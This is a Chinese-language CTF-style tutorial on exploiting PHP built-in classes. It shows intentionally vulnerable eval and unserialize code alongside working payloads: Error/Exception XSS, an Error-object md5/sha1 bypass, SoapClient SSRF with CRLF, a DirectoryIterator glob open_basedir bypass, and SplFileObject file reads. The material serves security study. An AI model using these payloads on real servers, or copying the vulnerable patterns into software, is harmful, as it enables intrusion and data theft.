浅谈php中常见的原生类
什么是php原生类
php原生类就是不用在当前脚本中写出来也可以直接实例化,因为php已经内置好了,等待调用;
一般来说,我们都是挑一些会调用tostring的内置类来用,比如Error类,这是php中内置的错误类,在php网站查看他的属性:

在倒数第二行,就看到了__toString,那么就可以通过写一个任意的Error类进行调用;
Error内置类
php7中,引入了该类,主要是用来自定义一个Error,但是如果使用不当会造成xss,因为error类内置了一个tostring方法
<?php
$xss = new Error($_GET[1]);
echo $xss;
?>

Error命令执行
如果有eval函数,也可以造成命令执行!
<?php
$aa = $_GET[1];
$bb = $_GET[2];
eval("echo new $aa($bb);")
?>

error输出的内容可以是相等的,也可以是不想等,主要是看脚本怎么写,之所以想等是因为输出的错误信息一致,但是可能会因为行号不一样,可能就不相等了,有点绕,接下来用代码作为示例;
<?php
show_source(__FILE__);
$a = new Error('666',1);
$b = new Error('666',2);
if($a == $b){
echo 'true';
}
else{
echo 'false';
}
?>
这一段代码会输出false,因为这两语句不向等,浅浅研究了一下,发现必须内容是一样的,也就是说new error('xxx',x)两个语句都必须要一样,其次就是所在行也必须是一样的,也就是下面那样:
<?php
show_source(__FILE__);
$a = new Error('666',1);$b = new Error('666',1);
if($a == $b){
echo 'true';
}
else{
echo 'false';
}
?>
返回了true;;
关于为什么相同,咱们又又又又又又又又可以分析一下:
将这几行代码运行:
<?php
$a = new Error("payload",1);$b = new Error("payload",2);
echo $a;
echo "<br/>";
echo $b;
?>

输出的内容都是一个样,so~相等,将他们放在同一行是因为避免报错行不一样!,这样子输出一模一样的内容的话,怎么计算他们都是相等的。
$a = new Error('aa',1);
$b = new Error('aa',2);
// 结果 = false;
$a = new Error('aa',1);
$b = new Error('aa',1);
// 结果 = false;
$a = new Error('aa',1);$b = new Error('aa',1);
// 结果 = true;
$a = new Error('aa',1);$b = new Error('aa',2);
// 结果 = false;
拿一道例题摘抄某一部分来做:
<?php
class a{
public $a1;
public $a2;
public function __wakeup(){
if($this->a1 != $this->a2 && md5($this->a1) === md5($this->a2) && sha1($this->a1) === sha1($this->a2)){
echo 'get_flag';
}else{
echo 'not_get_flag';
}
}
}
unserialize($_GET[1]);
?>
这道题源自于[极客大挑战 2020]Greatphp,稍稍改动了一下,题目大概的意思就是说a1和a2不能想等,但是要求md5和sha1想等!这就不能用啥数组或者碰撞了,但是可以通过error原生类来做这一题。
payload如下:
<?php
class a{
public $a1;
public $a2;
}
$e1 = new Error('haha',1);$e2 = new Error('haha',2);
$aa = new a();
$aa->a1=$e1;
$aa->a2 = $e2;
echo urlencode(serialize($aa));
虽然他们处于同一行,但是内容不一样,所以可以通过第一层验证,其次就是,输出的内容都是一样的,所以也可以绕过md5和sha1认证。

Exception内置类
exception类和error差不多,但是exception对php版本更加友好,无论是php5还是php7都能使用,同样,exception类内置tostring可以用。
示例
$a = unserialize($_GET[1]);
echo $a;
payload:
$a = new Exception("<script>alert(/Xss/)</script>");
echo urlencode(serialize($a));

soapclient原生类
soap是php内置专门用来访问web服务的类,当访问了不存在的类时,就会出发内置的__call方法;
$a = new SoapClient(null,array('location'=>"http://127.0.0.1/1.php","uri"=>"123"));
$b = serialize($a);
$c = unserialize($b);
$c->nocall();
当不存在nocall()时就会调用该类,因此该类用来ssrf是目前最好的内置类;
不过这个类只能用来访问http和https的链接,不能用file协议,最好是可以配合CRLF进行攻击!
soapclient([是否设置成wsal],[不设置就必须要有location和uri两个参数])
其中location是访问的地址,uri是目标命名空间;
DirectoryIterator类
DirectoryIterator类是在php5中新增的一个用来查看文件系统目录的内置类,配合glob://可以突破open_basedir;
<?php
$a = new DirectoryIterator($_GET[1]);
foreach($a as $f){
echo $f->__toString().'<br>' ;
}
?>
传值:
/?1=glob:///*

虽然但是看起来很厉害,但是捏,这个好像只能看根目录,看其他的目录输出不了。。。
SplFileObject
当遇到directorylterator类读取到了完整的文件名,那么就可以用splfileobject读取文件内容,这个必须获取到完整的文件名才能读取,且不支持通配符!如果当成字符串输出时,会主动触发tostring。
<?php
error_reporting(0);
highlight_file(__FILE__);
class a{
public $aa;
public $bb;
public function __wakeup()
{
echo new $this->aa($this->bb);
}
}
unserialize($_GET[1]);
?>
这个payload很好构造,只需要把aa等于splfileobject,把bb等于我们要读的目录即可!
<?php
class a{
public $aa;
public $bb;
public function __wakeup()
{
echo new $this->aa($this->bb);
}
}
$aa = new a();
$aa->aa = 'SplFileObject';
$aa->bb = '/Users/mac/Desktop/www/20230528/flag';
echo serialize($aa);
?>
合理配合不同的类,可以打出意想不到的结果!
from https://sec-in.com/article/2215